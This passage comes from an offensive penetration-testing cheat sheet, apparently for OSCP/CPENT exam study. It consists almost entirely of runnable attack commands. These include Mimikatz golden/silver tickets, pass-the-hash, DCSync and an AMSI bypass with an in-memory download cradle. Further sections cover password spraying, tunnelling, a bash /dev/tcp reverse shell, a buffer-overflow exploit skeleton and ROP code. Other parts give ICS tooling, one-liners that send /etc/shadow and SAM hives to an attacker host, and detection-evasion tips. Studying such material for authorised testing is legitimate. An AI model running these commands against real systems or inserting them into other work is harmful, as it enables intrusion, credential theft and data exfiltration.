# Pass-the-Ticket β inject a .kirbi into current session
kerberos::ptt ticket.kirbi
kerberos::ptt [0;12345]-0-0-40810000-user@cifs-server.kirbi
# Purge tickets
kerberos::purge
# Golden Ticket (needs krbtgt hash)
kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-... /krbtgt:HASH /ptt
kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-... /krbtgt:HASH /id:500 /ticket:golden.kirbi
# Silver Ticket (needs service account hash)
kerberos::silver /user:Administrator /domain:DOMAIN /sid:S-1-5-21-... /target:server.domain /service:cifs /rc4:HASH /ptt
Pass-the-Hash
# Spawn new process with different hash (opens new cmd window)
sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# For local account
sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe
Misc
# Dump DPAPI secrets (Chrome passwords, etc.)
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
# Dump certificates from store
crypto::certificates /export
# Over-pass-the-hash (NTLM β Kerberos TGT in memory)
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:"klist"
# Patch LSASS to re-enable WDigest plaintext creds (for future logins)
misc::wdigest
# One-liner β run non-interactively
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > loot.txt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:DOMAIN /all /csv" "exit" > hashes.txt
In-Memory Execution (AV evasion)
# Load via PowerShell reflection β never touches disk
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command "lsadump::dcsync /domain:DOMAIN /user:krbtgt"
# With AMSI bypass first
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
Password Spraying
Spray slow β 1 attempt per user per 30 min minimum to avoid lockout. Always check lockout policy first.
Check Lockout Policy First
# Linux (with creds)
netexec smb $RHOST -u USER -p PASS --pass-pol
enum4linux-ng -P $RHOST
# Windows (on domain)
net accounts /domain
Get-ADDefaultDomainPasswordPolicy
Kerbrute (Kerberos pre-auth β no lockout on many configs)
# User enumeration (no creds, no lockout risk)
kerbrute userenum -d domain.local --dc $RHOST /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# Password spray
kerbrute passwordspray -d domain.local --dc $RHOST users.txt 'Password123!'
kerbrute passwordspray -d domain.local --dc $RHOST users.txt 'Welcome1'
kerbrute passwordspray -d domain.local --dc $RHOST users.txt 'Summer2024!'
NetExec / CrackMapExec
NetExec (NXC) is the maintained successor to CrackMapExec. For OSCP, think of it as a fast AD/Samba/WinRM/RDP validation + enumeration tool: authenticate β enumerate β identify access β move β re-enumerate. Prefer netexec/nxc syntax on current installs.
Quick Authentication
# Basic SMB auth / validate creds
netexec smb $RHOST -u USER -p 'PASS'
# Domain creds
netexec smb $RHOST -d DOMAIN -u USER -p 'PASS'
# NTLM hash / Pass-the-Hash
netexec smb $RHOST -u USER -H 'NTHASH'
netexec smb $RHOST -u USER -H 'LMHASH:NTHASH'
# Local account authentication
netexec smb $RHOST --local-auth -u Administrator -p 'PASS'
# Kerberos
netexec smb $RHOST -d DOMAIN -u USER -p 'PASS' -k
netexec ldap $RHOST -d DOMAIN -u USER -p 'PASS' -k
# Null / guest checks (where permitted)
netexec smb $RHOST -u '' -p ''
netexec smb $RHOST -u guest -p ''
SMB Enumeration β Core OSCP Commands
# Basic host/domain information
netexec smb $RHOST
# Enumerate shares + permissions
netexec smb $RHOST -u USER -p 'PASS' --shares
# Domain users
netexec smb $RHOST -u USER -p 'PASS' --users
# Domain groups / members
netexec smb $RHOST -u USER -p 'PASS' --groups
# Local groups
netexec smb $RHOST -u USER -p 'PASS' --local-groups
# Logged-on users / active sessions
netexec smb $RHOST -u USER -p 'PASS' --loggedon-users
netexec smb $RHOST -u USER -p 'PASS' --sessions
# Enumerate computers
netexec smb $RHOST -u USER -p 'PASS' --computers
# RID cycling when normal user enumeration is limited
netexec smb $RHOST -u USER -p 'PASS' --rid-brute
# Password policy
netexec smb $RHOST -u USER -p 'PASS' --pass-pol
# Enumerate disks
netexec smb $RHOST -u USER -p 'PASS' --disks
# Check which hosts accept the credential
netexec smb 10.10.10.0/24 -u USER -p 'PASS'
# Check local-admin reach across hosts
netexec smb 10.10.10.0/24 -u Administrator -H 'NTHASH' --local-auth
LDAP β AD-Focused Enumeration
# Domain users / groups / computers
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --users
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --groups
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --computers
# Domain controllers / SID / active users
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --dc-list
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --get-sid
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --active-users
# Delegation / privileged-account discovery
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --find-delegation
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --trusted-for-delegation
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --admin-count
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --password-not-required
# Kerberos roasting helpers
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --asreproast asrep.txt
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --kerberoasting kerb.txt
# gMSA enumeration (if authorized account has access)
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --gmsa
Shares & File Hunting
# List shares first
netexec smb $RHOST -u USER -p 'PASS' --shares
# Spider a specific share for interesting files
netexec smb $RHOST -u USER -p 'PASS' -M spider_plus
# Download/read files through SMB when you know the path
netexec smb $RHOST -u USER -p 'PASS' --share 'SHARE' --get-file 'path\to\file.txt' './file.txt'
Credential / Secret Collection β Privileged Access Required
# SAM
netexec smb $RHOST -u USER -p 'PASS' --sam
# LSA secrets
netexec smb $RHOST -u USER -p 'PASS' --lsa
# NTDS from a DC (requires appropriate replication/administrative rights)
netexec smb $DC -u USER -p 'PASS' --ntds
netexec smb $DC -u USER -p 'PASS' --ntds vss
# LAPS / LSASS via modules
netexec smb $RHOST -u USER -p 'PASS' --laps
netexec smb $RHOST -u USER -p 'PASS' -M lsassy
Command Execution
# CMD
netexec smb $RHOST -u USER -p 'PASS' -x 'whoami'
# PowerShell
netexec smb $RHOST -u USER -p 'PASS' -X '$PSVersionTable'
# Explicit execution method when needed
netexec smb $RHOST -u USER -p 'PASS' --exec-method wmiexec -x 'whoami'
Password Spraying β Be Careful
# One known password against many users
netexec smb $RHOST -u users.txt -p 'Password123!' --continue-on-success
# Username + password lists without Cartesian-product brute force
netexec smb $RHOST -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Spray across a subnet
netexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success
# WinRM / RDP credential validation
netexec winrm $RHOST -u USER -p 'PASS'
netexec rdp $RHOST -u USER -p 'PASS'
BloodHound Collection via NetExec
# Collect AD relationships from LDAP
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --bloodhound --collection All
# If DNS resolution is problematic, explicitly set the DC/DNS server as appropriate
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --bloodhound --collection All --dns-server $DC
NetExec Attack-Path Triage
| Finding | Next Question | Useful NetExec |
|---|---|---|
| Valid credential | Which hosts accept it? | netexec smb CIDR -u USER -p PASS |
| SMB access | What shares / files can I read? | --shares, -M spider_plus |
| Domain user | Who else exists and what groups matter? | --users, --groups |
| Potential lateral target | Who is logged in / where can I move? | --sessions, --loggedon-users |
| Local-admin credential | Which machines can I administer? | SMB CIDR + --local-auth |
| DC + privileged rights | Can I recover domain secrets? | --ntds / DCSync-capable workflow |
| AD relationships | What is the shortest path to privilege? | ldap --bloodhound --collection All |
Hydra
# SSH spray
hydra -L users.txt -p 'Password123!' ssh://$RHOST -t 4
# SMB
hydra -L users.txt -p 'Password123!' smb://$RHOST
# HTTP form
hydra -L users.txt -P pass.txt $RHOST http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
# RDP
hydra -L users.txt -p 'Password123!' rdp://$RHOST -t 1 -W 3
Common Spray Passwords
# Always try these β OSCP boxes love weak passwords
Password1 Password123 Password123!
Welcome1 Welcome123 Welcome2024
Summer2024 Winter2024 Spring2024
CompanyName1 CompanyName123
[username] [username]123 [username]2024
admin admin123 admin@123
<blank> 123456 qwerty
Username Generation
# From names (e.g. John Smith β jsmith, john.smith, smithjβ¦)
# https://github.com/urbanadventurer/username-anarchy
username-anarchy John Smith > users.txt
username-anarchy -f first.last,flast,firstl,first > users.txt
# From a list of full names in names.txt
username-anarchy -i names.txt > users.txt
# Manual patterns
awk '{print tolower($1"."$2)}' names.txt # john.smith
awk '{print tolower(substr($1,1,1)$2)}' names.txt # jsmith
Wordlist Generation
CeWL β Scrape Target Site
# Crawl site and generate wordlist from content
cewl http://$RHOST -w site.txt -d 3 -m 6
cewl http://$RHOST -w site.txt -d 5 -m 5 --with-numbers
cewl http://$RHOST -w site.txt --email # also extract emails
# Add mutations (append numbers/symbols) via hashcat rules
hashcat --stdout site.txt -r /usr/share/hashcat/rules/best64.rule > site_mutated.txt
Custom Wordlists
# crunch β pattern based
crunch 8 8 -t @@@@1234 -o custom.txt # 4 lower + 1234
crunch 6 10 abcdefghijklmnopqrstuvwxyz0123456789 -o alpha.txt
crunch 8 8 -t Password@ -o pass.txt # Password + symbol
# CUPP β common user password profiler (target-specific)
cupp -i # interactive β enter target info
# Add numbers to each word
while read w; do for n in $(seq 1 9999); do echo "${w}${n}"; done; done < words.txt > numbered.txt
# Merge and dedupe
cat list1.txt list2.txt | sort -u > merged.txt
Mutate Existing Lists
# Apply rules to rockyou
hashcat --stdout /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule | head -n 1000000 > mutated.txt
hashcat --stdout /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule > mutated_d3ad.txt
# Extract only passwords matching length/complexity
grep -E '^.{8,}$' rockyou.txt > 8plus.txt
grep -E '^(?=.*[A-Z])(?=.*[0-9]).{8,}$' rockyou.txt > complex.txt
# Find empty/blank passwords in a list
grep -c '^$' rockyou.txt
# Remove sequences like 1234, aaaa
grep -v -E '(.)\1{3,}' rockyou.txt > no_repeat.txt
Key Wordlists on Kali
/usr/share/wordlists/rockyou.txt # passwords
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
/usr/share/seclists/Passwords/darkweb2017-top10000.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Pivoting & Tunnels
Rule of thumb: ligolo-ng for complex networks, chisel for quick single hops, SSH when creds are available.
Proxychains Setup
# /etc/proxychains4.conf β edit bottom line
socks5 127.0.0.1 1080 # for chisel/SSH SOCKS
socks5 127.0.0.1 1080 # ligolo uses routing, NOT proxychains
# Use proxychains with any tool
proxychains nmap -sT -Pn -p 22,80,445,3389 10.10.10.5
proxychains evil-winrm -i 10.10.10.5 -u USER -p PASS
proxychains netexec smb 10.10.10.0/24
proxychains ssh user@10.10.10.5
# proxychains4 with quiet mode (no noise)
proxychains4 -q nmap -sT -Pn 10.10.10.5
Ligolo-ng β Single Hop
# --- Attacker ---
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert # listens on :11601
# --- Victim (pivot box) ---
./agent -connect $LHOST:11601 -ignore-cert
# --- Back on attacker: in proxy console ---
session # select the agent
ifconfig # see victim's internal networks
start # start tunnel
# Add route to internal network
sudo ip route add 10.10.10.0/24 dev ligolo
# Now you can reach 10.10.10.x directly β no proxychains needed
nmap -sT -Pn 10.10.10.5
Ligolo-ng β Reverse Shell BACK Through Tunnel
# The critical part people miss β victim can't reach $LHOST directly
# Use a LISTENER on the agent so victim shells phone home via the tunnel
# In ligolo-ng proxy console (after tunnel is started):
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# This means: victim connects to pivot:4444 β forwarded to attacker:4444
# Attacker β nc listener
nc -lvnp 4444
# Payload on deep target β point at PIVOT's internal IP (not $LHOST)
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1 # 10.10.10.1 = pivot internal IP
Ligolo-ng β Double Hop (3 networks)
# Network: Attacker β Pivot1 (10.10.10.0/24) β Pivot2 (172.16.0.0/24) β Target
# Step 1: First tunnel (Attacker β Pivot1) β same as single hop
# proxy running on attacker, agent on Pivot1
sudo ip route add 10.10.10.0/24 dev ligolo
# start the session in proxy console
# Step 2: Transfer agent to Pivot2 via Pivot1
# From attacker β Pivot1 is now routable
scp ./agent user@10.10.10.5:/tmp/agent
# Step 3: Add a listener on Pivot1 agent to relay Pivot2 β attacker proxy
# In proxy console (Pivot1 session selected):
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
# Pivot1:11601 is now forwarded to Attacker:11601
# Step 4: Run agent on Pivot2 pointing at Pivot1's internal IP
./agent -connect 10.10.10.5:11601 -ignore-cert
# Step 5: Back in proxy console β new session appears
session # select Pivot2 session
start # start second tunnel
# Step 6: Route to third network
sudo ip route add 172.16.0.0/24 dev ligolo
# Now directly reachable: nmap -sT -Pn 172.16.0.5
Chisel
# Attacker (server)
./chisel server -p 8000 --reverse
# Victim β reverse SOCKS5 proxy
./chisel client $LHOST:8000 R:1080:socks
# Add to proxychains: socks5 127.0.0.1 1080
# Single port forward (no SOCKS needed)
# Attacker:
./chisel server -p 8000 --reverse
# Victim:
./chisel client $LHOST:8000 R:8888:10.10.10.5:80
# Now attacker:8888 β victim β 10.10.10.5:80
SSH Tunneling
# Local port forward β attacker:8080 β internal:80 via SSH pivot
ssh -L 8080:10.10.10.5:80 user@pivot -N
# Dynamic SOCKS (most useful)
ssh -D 1080 user@pivot -N -f
# -N = no command, -f = background
# Add to proxychains: socks5 127.0.0.1 1080
# Remote β pivot forwards its local port back to attacker
ssh -R 9001:127.0.0.1:80 user@$LHOST -N
# attacker:9001 β pivot:80
# Persistent (keep-alive)
ssh -D 1080 -o ServerAliveInterval=30 user@pivot -N -f
socat & netsh
# socat port forward (Linux pivot)
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80 &
# Windows: netsh portproxy (no extra tools)
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=4444 connectaddress=$LHOST
# Verify:
netsh interface portproxy show all
# Remove:
netsh interface portproxy delete v4tov4 listenport=4444 listenaddress=0.0.0.0
sshuttle (VPN-over-SSH)
# Route entire subnet through SSH β no proxychains needed
sshuttle -r user@pivot 10.10.10.0/24
sshuttle -r user@pivot 10.10.10.0/24 172.16.0.0/24
# With SSH key
sshuttle -r user@pivot --ssh-cmd 'ssh -i id_rsa' 10.10.10.0/24
Passwords & Hashes
Hashcat Modes
| Mode | Hash |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA256 |
| 1000 | NTLM |
| 1800 | sha512crypt $6$ (Linux) |
| 500 | md5crypt $1$ |
| 5500 | NetNTLMv1 |
| 5600 | NetNTLMv2 |
| 13100 | Kerberoast (TGS) |
| 18200 | ASREPRoast |
hashcat -m MODE hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat --show -m MODE hash.txt
John
john --wordlist=rockyou.txt hash.txt
john --format=NT hash.txt --wordlist=rockyou.txt
zip2john file.zip > zip.hash
ssh2john id_rsa > ssh.hash
keepass2john file.kdbx > kp.hash
Online Brute Force
# SSH
hydra -l user -P rockyou.txt ssh://$RHOST
# HTTP form (find failure string first)
hydra -L users.txt -P pass.txt $RHOST http-post-form "/login.php:user=^USER^&pass=^PASS^:F=invalid"
# SMB / RDP / FTP
hydra -L users.txt -P pass.txt smb://$RHOST
hydra -l admin -P rockyou.txt rdp://$RHOST
hydra -l user -P rockyou.txt ftp://$RHOST
Wordlist Generation
cewl http://$RHOST -w site.txt -d 3 -m 5
crunch 8 8 -t @@@@1234 -o wl.txt
hashcat --stdout rockyou.txt -r best64.rule | head
Buffer Overflow (Stack-based, x86)
No longer required on the current OSCP exam, but still useful knowledge. Steps for classic 32-bit Windows stack BOF.
Workflow
- Spike / Fuzz β find the vulnerable command
- Crash β confirm with cyclic pattern of A's
- Offset β pattern_create / pattern_offset
- Overwrite EIP β verify with B's
- Bad chars β generate, send, compare in Immunity
- JMP ESP β find via mona, no bad chars, no ASLR module
- Shellcode β msfvenom with -b badchars
- NOP sled + payload
Key Commands
# Pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q EIP
# Mona (in Immunity Debugger)
!mona config -set workingfolder c:\mona\%p
!mona bytearray -b "\x00"
!mona compare -f bytearray.bin -a ESP_ADDR
!mona modules
!mona find -s "\xff\xe4" -m module.dll
# Shellcode (no badchars)
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT EXITFUNC=thread -b "\x00\x0a\x0d" -f c
Exploit Skeleton (Python)
import socket
offset = 146
eip = b"\xaf\x11\x50\x62" # JMP ESP, little-endian
nops = b"\x90" * 16
shell = b"" # msfvenom output
buf = b"A" * offset + eip + nops + shell
s = socket.socket()
s.connect(("$RHOST", 9999))
s.send(b"TRUN ." + buf)
s.close()
Binary Exploitation / Reverse Engineering CPENT
Beyond stack-based OSCP-style BOF β Linux binary exploitation as tested on CPENT (protections, ROP, format strings).
Triage a Binary
file ./binary
checksec --file=./binary # NX, PIE, Canary, RELRO
strings ./binary | less
ltrace ./binary
strace ./binary
GDB β Basics (peda/pwndbg/gef)
gdb ./binary
(gdb) checksec
(gdb) break main
(gdb) run
(gdb) run < input.txt # feed a file as stdin
(gdb) run $(python3 -c 'print("A"*300)')
(gdb) cyclic 200 # generate pattern (pwndbg/gef)
(gdb) cyclic -l 0x6161616c # find offset from crashed EIP/RIP value
GDB Level 2 β Registers, Memory & Search
# Inspect CPU state at the crash / breakpoint
(gdb) info registers # i r β dump all registers (eip/rip, esp/rsp, ebp/rbp...)
(gdb) i r eip # just one register
(gdb) p $eip # print register value
(gdb) p $rsp
# Examine memory: x/<count><format><size> <addr>
(gdb) x/20xw $esp # 20 words, hex, at ESP (see what's on the stack)
(gdb) x/s $eax # treat as a C string
(gdb) x/10i $eip # disassemble 10 instructions from EIP
# Locate your buffer / bytes in memory (great for finding EIP offset or a jump target)
(gdb) find $esp, $esp+2000, "AAAA"
(gdb) find 0x08048000, 0x08050000, 0x90909090 # search for a NOP sled
# Resolve libc/PLT function addresses for ret2libc / ROP chains
(gdb) p system # address of system() if libc symbols loaded
(gdb) p exit
(gdb) p &"/bin/sh" # address of a "/bin/sh" string if present in binary
(gdb) p system - libc_base # compute offset once ASLR base is leaked
(gdb) info functions ^system$ # confirm exact symbol resolves
(gdb) info proc mappings # base addresses of binary/libc/stack/heap (defeats ASLR when leaked)
# Stepping / breakpoints
(gdb) break *0x08048526 # break on a raw address
(gdb) stepi / si # single instruction step
(gdb) nexti / ni # step over calls
(gdb) continue / c
(gdb) bt # backtrace, confirm call stack / smashed return address
Format String Bugs
# Leak stack / memory via %x, %p, %s
./binary $(python3 -c 'print("%x."*20)')
# Write-what-where via %n once offset to your buffer is known
./binary $(python3 -c 'print("%7$n")')
ret2libc / ROP (NX enabled)
# Find libc base via leaked GOT/PLT entry, then build ROP chain with pwntools
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
rop.raw('A' * offset)
rop.puts(elf.got['puts'])
rop.main
p = process('./binary')
p.sendline(rop.chain())
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
# repeat with libc.address to call system("/bin/sh")
Static / Firmware RE
# Ghidra / IDA Free for static analysis of stripped binaries
# radare2 quick look
r2 -A ./binary
[0x00000000]> afl # list functions
[0x00000000]> pdf @ main # disassemble function
IoT / IIoT CPENT
Ref: pentesting-notes / IoT-IIoT
Recon
# Shodan for exposed IoT/embedded devices
shodan search "webcam" "country:ID"
shodan search "default password" port:23
# Identify device / firmware version from banners
nmap -sV -p 80,443,23,7547,554 $RHOST
Firmware Analysis
# Extract filesystem from a firmware image
binwalk -e firmware.bin
binwalk --dd '.*' firmware.bin
# Search extracted FS for creds/keys
grep -R "password\|BEGIN.*PRIVATE KEY" _firmware.bin.extracted/
# Emulate the extracted binary/firmware (arch mismatch common β use qemu-user)
qemu-arm-static -L ./squashfs-root ./squashfs-root/usr/bin/httpd
firmadyne / firmware-mod-kit # full firmware emulation frameworks
Hardware Interfaces (UART/JTAG)
# Identify UART pins with a multimeter, then attach USB-TTL adapter
screen /dev/ttyUSB0 115200
# JTAGulator / JTAGenum to find JTAG pinout for OpenOCD debugging
Wireless / BLE Protocols
# Bluetooth Low Energy enumeration
bluetoothctl
> scan on
gatttool -b AA:BB:CC:DD:EE:FF -I
> primary
> char-desc
# Zigbee / RF replay
rfcat / RFCrack -jam -freq 433920000
killerbee zbstumbler
Default Credentials
routersploit
rsf > use scanners/autopwn
rsf > set target $RHOST
rsf > run
# Also check: https://cirt.net/passwords (default creds DB)
ICS / OT - SCADA CPENT
Ref: pentesting-notes / ICS-OT-SCADA
Common ICS Ports & Protocols
| Port | Protocol |
|---|---|
| 502 | Modbus TCP |
| 102 | Siemens S7comm |
| 20000 | DNP3 |
| 44818 / 2222 | EtherNet/IP (CIP) |
| 4840 | OPC UA |
| 789 / 1962 | PCWorx / ProConOS |
| 34962-34964 | Profinet |
Passive / Active Enumeration
# Passive fingerprinting from PCAP (safest option first)
tshark -r capture.pcap -Y "modbus || s7comm"
# NSE scripts β read-only info gathering
nmap -Pn -p502 --script modbus-discover $RHOST
nmap -Pn -p102 --script s7-info $RHOST
nmap -Pn -sU -p161 --script snmp-info $RHOST
# Metasploit ICS/SCADA scanner modules
use auxiliary/scanner/scada/modbusclient
use auxiliary/scanner/scada/profinet_siemens # internal-only, 1 packet, SCADA-safe
Modbus Interaction
# mbtget / modbus-cli to read coils/registers (read first, never blind-write in prod)
mbtget -r3 -a0 -n10 $RHOST # read holding registers
pymodbus.console tcp --host $RHOST
Tools (SCADA Strangelove / smod)
smod # Modbus pentesting framework (Metasploit-style console)
plcscan $RHOST # fingerprint S7 / Modbus PLCs
s7scan $RHOST/24
Reference Table
| Tool | Use |
|---|---|
| plcscan / s7scan | Fingerprint Siemens S7 & Modbus PLCs |
| smod | Modbus exploitation framework |
| mbtget / pymodbus | Read/write Modbus registers & coils manually |
| Metasploit scada/* modules | Read-only scanners for Siemens/Modbus/DNP3 |
| Wireshark (modbus/s7comm filters) | Passive protocol analysis β always start here |
Data Exfiltration
Pull files and loot off the victim machine back to your attacker box. Always set up the receiver on your side first.
Netcat LIN WIN
# --- Attacker (receiver) ---
nc -lvnp $LPORT > received_file.zip
# --- Victim Linux ---
nc $LHOST $LPORT < /etc/shadow
nc $LHOST $LPORT < loot.zip
cat /etc/passwd | nc $LHOST $LPORT
tar czf - /home/user/ | nc $LHOST $LPORT # tar on the fly
# --- Victim Windows (nc.exe) ---
nc.exe $LHOST $LPORT < C:\Users\user\Documents\file.txt
type C:\Windows\Temp\loot.txt | nc.exe $LHOST $LPORT
Python HTTP Upload LIN WIN
# --- Attacker: start upload server ---
pip install uploadserver --break-system-packages
python3 -m uploadserver $LPORT
# Files land in current directory
# --- Victim Linux ---
curl -F "files=@/etc/shadow" http://$LHOST:$LPORT/upload
curl -F "files=@loot.zip" http://$LHOST:$LPORT/upload
# --- Victim Windows ---
powershell -c "(New-Object Net.WebClient).UploadFile('http://$LHOST:$LPORT/upload','C:\loot.zip')"
powershell -c "Invoke-RestMethod -Uri 'http://$LHOST:$LPORT/upload' -Method POST -InFile 'C:\file.txt'"
curl.exe -F "files=@C:\Users\user\file.txt" http://$LHOST:$LPORT/upload # Win10+ has curl.exe
SMB WIN
# --- Attacker: start SMB server ---
impacket-smbserver share . -smb2support
impacket-smbserver share . -smb2support -user u -password p # with auth (Win10+)
# --- Victim Windows ---
copy C:\Users\Administrator\Desktop\proof.txt \\$LHOST\share\
copy C:\Windows\Repair\SAM \\$LHOST\share\
copy C:\Windows\Repair\SYSTEM \\$LHOST\share\
xcopy C:\Users\ \\$LHOST\share\users\ /E /H /C /I
# With auth:
net use \\$LHOST\share /user:u p
copy C:\loot.zip \\$LHOST\share\
PowerShell WIN
# Base64-encode file and print β copy-paste exfil (no network needed)
powershell -c "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\file.txt'))"
# Then on attacker: echo BASE64 | base64 -d > file.txt
# Encode + send in one shot
powershell -c "$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\file.txt'));(New-Object Net.WebClient).UploadString('http://$LHOST:$LPORT/',$b)"
# Attacker: nc -lvnp $LPORT | base64 -d > file.txt
# FTP (no nc, no curl β works on old Windows)
powershell -c "(New-Object Net.WebClient).UploadFile('ftp://$LHOST/file.txt','C:\file.txt')"
Bash / Linux One-liners LIN
# Base64 encode β copy-paste exfil (no network tools needed)
base64 -w0 /etc/shadow; echo
# Then on attacker: echo BASE64 | base64 -d > shadow
# xxd hex encode
xxd /etc/shadow | nc $LHOST $LPORT
# curl POST
curl -d @/etc/shadow http://$LHOST:$LPORT/
curl --data-binary @loot.zip http://$LHOST:$LPORT/
# wget POST
wget --post-file=/etc/shadow http://$LHOST:$LPORT/
# /dev/tcp (no nc, no curl)
bash -c 'cat /etc/shadow > /dev/tcp/$LHOST/$LPORT'
# SCP (if SSH creds available to your box)
scp /etc/shadow user@$LHOST:/tmp/
scp -r /home/user/ user@$LHOST:/tmp/loot/
Credential Files Worth Grabbing
| File | OS | Contains |
|---|---|---|
/etc/shadow | Linux | Hashed passwords |
/etc/passwd | Linux | Users + shells |
~/.ssh/id_rsa | Linux | SSH private key |
~/.bash_history | Linux | Command history β often has creds |
/var/www/html/config.php | Linux | DB creds in web apps |
C:\Windows\Repair\SAM | Windows | Local account hashes (offline copy) |
C:\Windows\Repair\SYSTEM | Windows | Boot key β needed to decrypt SAM |
C:\Windows\NTDS\NTDS.dit | DC | All AD hashes (needs SYSTEM key) |
%APPDATA%\...\credentials\ | Windows | Windows Credential Manager |
C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data | Windows | Browser saved passwords (SQLite) |
*.kdbx | Both | KeePass database β use keepass2john |
*.config, web.config, appsettings.json | Windows | App config β often plaintext creds |
unattend.xml, sysprep.inf | Windows | Deployment creds β often base64 or plaintext |
SAM / SYSTEM Dump (Windows local hashes) WIN
# Method 1: reg save (works without shadow copies)
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Exfil SAM+SYSTEM to attacker, then:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# Method 2: volume shadow copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
# Method 3: HiveNightmare (CVE-2021-36934) β no admin needed on Win10 1809+
.\HiveNightmare.exe
impacket-secretsdump -sam SAM-2021-XX-XX -system SYSTEM-2021-XX-XX LOCAL
# Method 4: Mimikatz (needs SeDebugPrivilege)
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords # plaintext if WDigest enabled
# Method 5: from Linux with creds (DCSync)
impacket-secretsdump DOMAIN/USER:PASS@$RHOST
impacket-secretsdump DOMAIN/USER@$RHOST -hashes :NTHASH
NTDS.dit Dump (Domain Controller) WIN
# DCSync (no file touch needed β requires DA or DCSync rights)
impacket-secretsdump -just-dc DOMAIN/USER:PASS@$RHOST
impacket-secretsdump -just-dc-ntlm DOMAIN/USER:PASS@$RHOST
# On-box NTDS dump via ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\dump" q q
# Then exfil C:\Temp\dump\Active Directory\ntds.dit + C:\Temp\dump\registry\SYSTEM
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
# Via VSS
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\
Avoid Detection Tips
- Compress + encrypt before sending:
zip -P pass loot.zip /etc/shadowor 7z - Use port 80/443/53 for exfil β less likely to be filtered
- SMB is the fastest for large files on Windows β beats PowerShell UploadFile
- Base64 copy-paste exfil = zero network traffic, undetectable (use for small files)
- Clean up artefacts:
del C:\Temp\SAM,rm /tmp/loot.zip
OSINT & Recon
Passive info gathering before you touch the target. Ref: pentesting-notes / OSINT
Email OSINT
# theHarvester β emails, subdomains, hosts from public sources
theHarvester -d target.com -b all
# h8mail β breach data / password exposure lookup
h8mail -t user@target.com
